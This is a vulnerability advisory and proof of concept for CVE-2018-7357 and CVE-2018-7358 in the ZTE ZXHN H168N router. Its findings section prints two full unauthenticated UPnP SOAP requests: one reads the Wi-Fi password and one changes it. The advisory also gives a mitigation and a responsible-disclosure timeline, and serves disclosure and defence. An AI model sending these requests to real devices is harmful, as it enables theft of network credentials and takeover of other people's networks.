ZTE ZXHN H168N Improper Access Restrictions

2018.12.21
Credit: Usman
Risk: High
Local: Yes
Remote: No
CWE: CWE-287


CVSS Base Score: 5.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.5/10
Exploit range: Adjacent network
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[*] POC: (CVE-2018-7357 and CVE-2018-7358) Disclaimer: [This POC is for Educational Purposes , I would Not be responsible for any misuse of the information mentioned in this blog post] [+] Unauthenticated [+] Author: Usman Saeed (usman [at] xc0re.net) [+] Protocol: UPnP [+] Affected Harware/Software: Model name: ZXHN H168N v2.2 Build Timestamp: 20171127193202 Software Version: V2.2.0_PK1.2T5 [+] Findings: 1. Unauthenticated access to WLAN password: POST /control/igd/wlanc_1_1 HTTP/1.1 Host: <IP>:52869 User-Agent: {omitted} Content-Length: 288 Connection: close Content-Type: text/xml; charset=”utf-8″ SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys” 1 <?xml version=”1.0″ encoding=”utf-8″?> <s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″></u:GetSecurityKeys></s:Body></s:Envelope> 2. Unauthenticated WLAN passphrase change: POST /control/igd/wlanc_1_1 HTTP/1.1 Host: <IP>:52869 User-Agent: {omitted} Content-Length: 496 Connection: close Content-Type: text/xml; charset=”utf-8″ SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys” <?xml version=”1.0″ encoding=”utf-8″?> <s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:SetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope> [*] Solution: UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices. [*] Note: There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same. [+] Responsible Disclosure: Vulnerabilities identified – 20 August, 2018 Reported to ZTE – 28 August, 2018 ZTE official statement – 17 September 2018 ZTE patched the vulnerability – 12 November 2018 The operator pushed the update – 12 November 2018 CVE published – Later Public disclosure – 12 November 2018 Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522


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